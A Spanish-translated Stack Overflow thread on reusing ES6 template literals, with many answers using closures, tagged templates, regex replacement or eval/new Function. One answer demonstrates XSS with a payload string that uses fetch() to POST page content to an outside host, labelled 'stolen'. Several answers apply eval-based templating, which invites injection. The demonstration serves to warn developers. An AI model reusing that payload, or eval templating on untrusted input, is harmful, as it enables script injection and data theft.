template support strings ecmascript javascript ecmascript-6 template-literals

javascript - support - ¿Pueden sustituirse los literales de plantilla ES6 en tiempo de ejecución(o reutilizarse)?



template string javascript html (16)

tl; dr: ¿Es posible hacer una plantilla reutilizable literal?

He estado tratando de usar plantillas literales, pero supongo que simplemente no lo entiendo y ahora me estoy frustrando. Quiero decir, creo que lo entiendo, pero "eso" no debería ser cómo funciona, o cómo debería ser. Debería ser diferente.

Todos los ejemplos que veo (incluso plantillas etiquetadas) requieren que las "sustituciones" se realicen en el momento de la declaración y no en el tiempo de ejecución, lo que me parece completamente inútil para una plantilla. Tal vez estoy loco, pero una "plantilla" para mí es un documento que contiene tokens que se sustituyen cuando lo usas, no cuando lo creas, de lo contrario es solo un documento (es decir, una cadena). Una plantilla se almacena con los tokens como tokens y esos tokens se evalúan cuando usted ... lo evalúa.

Todos citan un horrible ejemplo similar a:

var a = ''asd''; return `Worthless ${a}!`

Eso es bueno, pero si ya conozco a , simplemente return ''Worthless asd'' o return ''Worthless ''+a . ¿Cuál es el punto de? Seriamente. De acuerdo, el punto es la pereza; Menos ventajas, más legibilidad. Excelente. ¡Pero eso no es una plantilla! No en mi humilde opinión. ¡Y MHO es todo lo que importa! El problema, en mi humilde opinión, es que la plantilla se evalúa cuando se declara, por lo que, si lo hace, en mi humilde opinión:

var tpl = `My ${expletive} template`; function go() { return tpl; } go(); // SPACE-TIME ENDS!

Como el expletive no se declara, genera algo como My undefined template . Súper. En realidad, al menos en Chrome, ni siquiera puedo declarar la plantilla; arroja un error porque el expletive no está definido. Lo que necesito es poder hacer la sustitución después de declarar la plantilla:

var tpl = `My ${expletive} template`; function go() { return tpl; } var expletive = ''great''; go(); // My great template

Sin embargo, no veo cómo esto es posible, ya que estas no son realmente plantillas. Incluso cuando dices que debería usar etiquetas, no, no funcionan:

> explete = function(a,b) { console.log(a); console.log(b); } < function (a,b) { console.log(a); console.log(b); } > var tpl = explete`My ${expletive} template` < VM2323:2 Uncaught ReferenceError: expletive is not defined...

Todo esto me ha llevado a creer que los literales de plantilla están horriblemente mal nombrados y deberían llamarse como realmente son: heredocs . Supongo que la parte "literal" debería haberme avisado (como inmutable).

¿Me estoy perdiendo de algo? ¿Hay alguna forma (buena) de hacer que una plantilla reutilizable sea literal?

Te doy literales de plantilla reutilizables :

> function out(t) { console.log(eval(t)); } var template = `/`This is my /${expletive} reusable template!/``; out(template); var expletive = ''curious''; out(template); var expletive = ''AMAZING''; out(template); < This is my undefined reusable template! This is my curious reusable template! This is my AMAZING reusable template!

Y aquí hay una ingenua función de "ayuda" ...

function t(t) { return ''`''+t.replace(''{'',''${'')+''`''; } var template = t(`This is my {expletive} reusable template!`);

...para hacerlo mejor".

Me inclino a llamarlos plantillas guterales debido al área desde la cual producen sentimientos retorcidos.


¿Me estoy perdiendo de algo? ¿Hay alguna forma [buena] de hacer que una plantilla reutilizable sea literal?

Tal vez me estoy perdiendo algo, porque mi solución a este problema me parece tan obvia que me sorprende mucho que nadie haya escrito eso ya en una pregunta tan antigua.

Tengo casi una frase para eso:

function defer([fisrt, ...rest]) { return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, fisrt); }

Eso es todo. Cuando quiero reutilizar una plantilla y diferir la resolución de las sustituciones, simplemente hago:

> t = defer`My template is: ${null} and ${null}`; > t(''simple'', ''reusable''); // ''My template is: simple and reusable'' > t(''obvious'', ''late to the party''; // ''My template is: obvious and late to the party'' > t(null); // ''My template is: null and undefined'' > > defer`Choose: ${''ignore''} / ${undefined}`(true, false); // ''Choose: true / false''

La aplicación de esta etiqueta devuelve una ''function'' (en lugar de una ''string'' ) que ignora cualquier parámetro pasado al literal. Entonces se puede llamar con nuevos parámetros más adelante. Si un parámetro no tiene un reemplazo correspondiente, se convierte en ''undefined'' .

Respuesta extendida

Este código simple es funcional, pero si necesita un comportamiento más elaborado, se puede aplicar la misma lógica y hay infinitas posibilidades. Tú podrías:

  1. Utilice los parámetros originales:

    Puede almacenar los valores originales pasados ​​al literal en la construcción y usarlos de manera creativa al aplicar la plantilla. Pueden convertirse en indicadores, validadores de tipo, funciones, etc. Este es un ejemplo que los usa como valores predeterminados:

    function deferWithDefaults([fisrt, ...rest], ...defaults) { return (...values) => rest.reduce((acc, curr, i) => { return acc + (i < values.length ? values[i] : defaults[i]) + curr; }, fisrt); }

    Entonces:

    > t = deferWithDefaults`My template is: ${''extendable''} and ${''versatile''}`; > t(''awesome''); // ''My template is: awesome and versatile''

  2. Escribe una fábrica de plantillas:

    Hágalo envolviendo esta lógica en una función que espera, como argumento, una función personalizada que se puede aplicar en la reducción (al unir las piezas del literal de la plantilla) y devuelve una nueva plantilla con un comportamiento personalizado.

    const createTemplate = fn => function (strings, ...defaults) { const [first, ...rest] = strings; return (...values) => rest.reduce((acc, curr, i) => { return acc + fn(values[i], defaults[i]) + curr; }, first); };

    Entonces podría, por ejemplo, escribir plantillas que escapen o desinfecten automáticamente los parámetros al escribir html, css, sql, bash ...

    function sqlSanitize(token, tag) { // this is a gross simplification, don''t use in production. const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, ''""'')}"` : name); const quoteValue = value => (typeof value == ''string'' ? `''${value.replace(/''/g, "''''")}''` : value); switch (tag) { case ''table'': return quoteName(token); case ''columns'': return token.map(quoteName); case ''row'': return token.map(quoteValue); default: return token; } } const sql = createTemplate(sqlSanitize);

    Con esta plantilla sql ingenua (¡repito, ingenua! ) Podríamos crear consultas como esta:

    > q = sql`INSERT INTO ${''table''} (${''columns''}) ... VALUES (${''row''});` > q(''user'', [''id'', ''user name'', ''is"Staff"?''], [1, "O''neil", true]) // `INSERT INTO user (id,"user name","is""Staff""?") // VALUES (1,''O''''neil'',true);`

  3. Acepte parámetros con nombre para la sustitución: un ejercicio no tan difícil, basado en lo que ya se dio. Hay una implementación en esta otra respuesta .

  4. Hacer que el objeto de retorno se comporte como una ''string'' : Bueno, esto es controvertido, pero podría generar resultados interesantes. Se muestra en esta otra respuesta .

  5. Resolver parámetros dentro del espacio de nombres global en el sitio de la llamada:

    Te doy literales de plantilla reutilizables:

    Bueno, esto es lo que OP mostró es su anexo, usando el comando evil , quiero decir, eval . Esto podría hacerse sin eval , simplemente buscando el nombre de la variable pasada en el objeto global (o ventana). No mostraré cómo hacerlo porque no me gusta. Los cierres son la elección correcta.


Acabo de publicar un paquete npm que simplemente puede hacer este trabajo. Profundamente inspirado por esta respuesta .

const Template = require(''dynamic-template-string''); var tpl = new Template(''hello ${name}''); tpl.fill({name: ''world''}); // ==> ''hello world''; tpl.fill({name: ''china''}); // ==> ''hello china'';

Su implementación es mortal simple. Ojalá te guste.

module.exports = class Template { constructor(str) { this._func = new Function(`with(this) { return /`${str}/`; }`); } fill(data) { return this._func.call(data); } }


En general, estoy en contra de usar el mal eval() , pero en este caso tiene sentido:

var template = "`${a}.${b}`"; var a = 1, b = 2; var populated = eval(template); console.log(populated); // shows 1.2

Luego, si cambia los valores y llama a eval () nuevamente, obtendrá el nuevo resultado:

a = 3; b = 4; populated = eval(template); console.log(populated); // shows 3.4

Si lo desea en una función, puede escribirse así:

function populate(a, b){ return `${a}.${b}`; }


Este es mi mejor intento:

var s = (item, price) => {return `item: ${item}, price: $${price}`} s(''pants'', 10) // ''item: pants, price: $10'' s(''shirts'', 15) // ''item: shirts, price: $15''

Para generalizar:

var s = (<variable names you want>) => {return `<template with those variables>`}

Si no está ejecutando E6, también podría hacer:

var s = function(<variable names you want>){return `<template with those variables>`}

Esto parece ser un poco más conciso que las respuestas anteriores.

https://repl.it/@abalter/reusable-JS-template-literal


La respuesta corta es simplemente usar _.template en lodash

// Use the ES template literal delimiter as an "interpolate" delimiter. // Disable support by replacing the "interpolate" delimiter. var compiled = _.template(''hello ${ user }!''); compiled({ ''user'': ''pebbles'' }); // => ''hello pebbles!''


Me molestó la redundancia adicional necesaria para escribir this. cada vez, así que también agregué expresiones regulares para expandir variables como .a a this.a

Solución:

const interp = template => _thisObj => function() { return template.replace(//${([^}]*)}/g, (_, k) => eval( k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) => args[0].charAt(0) == ''.'' ? ''this'' + args[0] + args[1] : r ) ) ); }.call(_thisObj);

Usar como tal:

console.log(interp(''Hello ${.a}${.b}'')({ a: ''World'', b: ''!'' })); // outputs: Hello World!


Para que estos literales funcionen como otros motores de plantillas, debe existir una forma intermedia.

La mejor manera de hacer esto es usar el constructor de Function .

const templateString = "Hello ${this.name}!"; const templateVars = { name: "world" } const fillTemplate = function(templateString, templateVars){ return new Function("return `"+templateString +"`;").call(templateVars); } console.log(fillTemplate(templateString, templateVars));

Al igual que con otros motores de plantillas, puede obtener esa cadena de otros lugares como un archivo.

Puede haber problemas al usar este método, como que las etiquetas de plantilla son difíciles de usar, pero se pueden agregar si es inteligente. Tampoco puede tener lógica de JavaScript en línea debido a la interpolación tardía. Esto también se puede remediar con un poco de pensamiento.


Probablemente la forma más limpia de hacerlo es con las funciones de flecha (porque en este punto, ya estamos usando ES6)

var reusable = () => `This ${object} was created by ${creator}`; var object = "template string", creator = "a function"; console.log (reusable()); // "This template string was created by a function" object = "example", creator = "me"; console.log (reusable()); // "This example was created by me"

... Y para los literales de plantilla etiquetados:

reusable = () => myTag`The ${noun} go ${verb} and `; var noun = "wheels on the bus", verb = "round"; var myTag = function (strings, noun, verb) { return strings[0] + noun + strings[1] + verb + strings[2] + verb; }; console.log (reusable()); // "The wheels on the bus go round and round" noun = "racecars", verb = "fast"; myTag = function (strings, noun, verb) { return strings[0] + noun + strings[1] + verb; }; console.log (reusable()); // "The racecars go fast"

Esto también evita el uso de eval() o Function() que pueden causar problemas con los compiladores y causar mucha desaceleración.


Puede poner una cadena de plantilla en una función:

function reusable(a, b) { return `a is ${a} and b is ${b}`; }

Puede hacer lo mismo con una plantilla etiquetada:

function reusable(strings) { return function(... vals) { return strings.map(function(s, i) { return `${s}${vals[i] || ""}`; }).join(""); }; } var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters" console.log(tagged("hello", "world")); // prints "a is hello b is world" console.log(tagged("mars", "jupiter")); // prints "a is mars b is jupiter"

La idea es dejar que el analizador de plantillas separe las cadenas constantes de las "ranuras" variables, y luego devuelva una función que las remende en función de un nuevo conjunto de valores cada vez.


Sí, puede hacerlo analizando su cadena con la plantilla como JS por Function (o eval ), pero esto no se recomienda y permite el ataque XSS

const fillTemplate = function(templateString, templateVars){ return new Function("return `"+templateString +"`;").call(templateVars); } function parseString() { // Sample var hosting = "`+fetch(''https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false'',{method: ''POST'', body: JSON.stringify({ info: document.querySelector(''#mydiv'').innerText }) }) + alert(''stolen'')||''''`"; var domain = {Id:1234, User:22}; var result = fillTemplate(hosting, domain); console.log(result); msg.innerHTML+=`Look on Chrome console> networks and look for <b>POST server?id...</b> request with stolen data (look on "request payload" a t the bottom)`; } window.parseString=parseString;

#mydiv { background: red; margin: 20px} .btn { margin: 20px; padding: 20px; }

<pre> CASE: system allow users to use ''templates'' and use fillTemplate function to put variables into that templates Then system save templates in DB and show them to other users... Some bad user/hacker can then prepare malicious template with JS code (hosting variable in js code) ... </pre> <div id=''mydiv''> My private content </div> <div id="msg"></div> <button class="btn" onclick="parseString()">Click me! :)</button>

En su lugar, puede insertar de forma segura campos de objetos obj en la plantilla str de forma dinámica de la siguiente manera

let inject = (str, obj) => str.replace(//${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(//${(.*?)}/g, (x,g)=> obj[g]); // --- test --- // parameters in object let t1 = ''My name is ${name}, I am ${age}. My brother name is also ${name}.''; let r1 = inject(t1, {name: ''JOHN'',age: 23} ); console.log("OBJECT:", r1); // parameters in array let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}." let r2 = inject(t2, {...[''A,B,C'', 666, ''BIG'']} ); console.log("ARRAY :", r2);


Si está buscando algo bastante simple (solo campos variables fijos, sin cálculos, condicionales ...) pero eso también funciona en el lado del cliente en navegadores sin soporte de cadena de plantilla como IE 8,9,10,11 ...

aquí vamos:

fillTemplate = function (templateString, templateVars) { var parsed = templateString; Object.keys(templateVars).forEach( (key) => { const value = templateVars[key] parsed = parsed.replace(''${''+key+''}'',value) } ) return parsed }


Si no desea utilizar parámetros ordenados o contextos / espacios de nombres para hacer referencia a las variables en su plantilla, por ejemplo, ${0} , ${this.something} o ${data.something} , puede tener una función de plantilla que se encarga del alcance por ti.

Ejemplo de cómo llamar a una plantilla de este tipo:

const tempGreet = Template(() => ` <span>Hello, ${name}!</span> `); tempGreet({name: ''Brian''}); // returns "<span>Hello, Brian!</span>"

La función de plantilla:

function Template(cb) { return function(data) { const dataKeys = []; const dataVals = []; for (let key in data) { dataKeys.push(key); dataVals.push(data[key]); } let func = new Function(...dataKeys, ''return ('' + cb + '')();''); return func(...dataVals); } }

La peculiaridad en este caso es que solo tiene que pasar una función (en el ejemplo utilicé una función de flecha) que devuelve el literal de plantilla ES6. Creo que es una compensación menor obtener el tipo de interpolación reutilizable que buscamos.

Aquí está en GitHub: https://github.com/Adelphos/ES6-Reuseable-Template


Simplificando la respuesta proporcionada por @metamorphasi;

const fillTemplate = function(templateString, templateVars){ var func = new Function(...Object.keys(templateVars), "return `"+templateString +"`;") return func(...Object.values(templateVars)); } // Sample var hosting = "overview/id/d:${Id}"; var domain = {Id:1234, User:22}; var result = fillTemplate(hosting, domain); console.log(result);


Una simple función de utilidad. No hay necesidad de biblioteca externa.

/** * @param templateString the string with es6 style template such as "Hello my name is: ${name}" * @param params the params which is a key/value pair for the template. */ export const fillTemplate = (templateString: string, params: any): string => { let completedString = templateString Object.keys(params).forEach((eachKeyName) => { completedString = completedString.replace(''${'' + eachKeyName + ''}'', params[eachKeyName]) }) return completedString }


ACTUALIZADO: La siguiente respuesta está limitada a nombres de variables individuales, por lo que plantillas como: ''Result ${a+b}'' no son válidas para este caso. Sin embargo, siempre puedes jugar con los valores de la plantilla:

format("This is a test: ${a_b}", {a_b: a+b});

RESPUESTA ORIGINAL:

Basado en las respuestas anteriores, pero creando una función de utilidad más "amigable":

var format = (template, params) => { let tpl = template.replace(//${(?!this/.)/g, "${this."); let tpl_func = new Function(`return /`${tpl}/``); return tpl_func.call(params); }

Puedes invocarlo como:

format("This is a test: ${hola}, second param: ${hello}", {hola: ''Hola'', hello: ''Hi''});

Y la cadena resultante debería ser:

''This is a test: Hola, second param: Hi''


Respuesta 2019 :

Nota : La biblioteca originalmente esperaba que los usuarios desinfectaran las cadenas para evitar XSS. La versión 2 de la biblioteca ya no requiere que las cadenas de usuario se desinfecten (lo que los desarrolladores web deberían hacer de todos modos) ya que evita la eval completo.

El es6-dynamic-template en npm hace esto.

const fillTemplate = require(''es6-dynamic-template'');

A diferencia de las respuestas actuales:

  • Utiliza cadenas de plantilla ES6, no una actualización de formato similar, la versión 2 usa un formato similar, en lugar de cadenas de plantilla ES6, para evitar que los usuarios usen cadenas de entrada no desinfectadas.
  • No necesita this en la cadena de plantilla
  • Puede especificar la cadena de plantilla y las variables en una sola función
  • Es un módulo actualizado y actualizado, en lugar de copypasta de

El uso es simple. ¡Use comillas simples ya que la cadena de plantilla se resolverá más tarde!

const greeting = fillTemplate(''Hi ${firstName}'', {firstName: ''Joe''});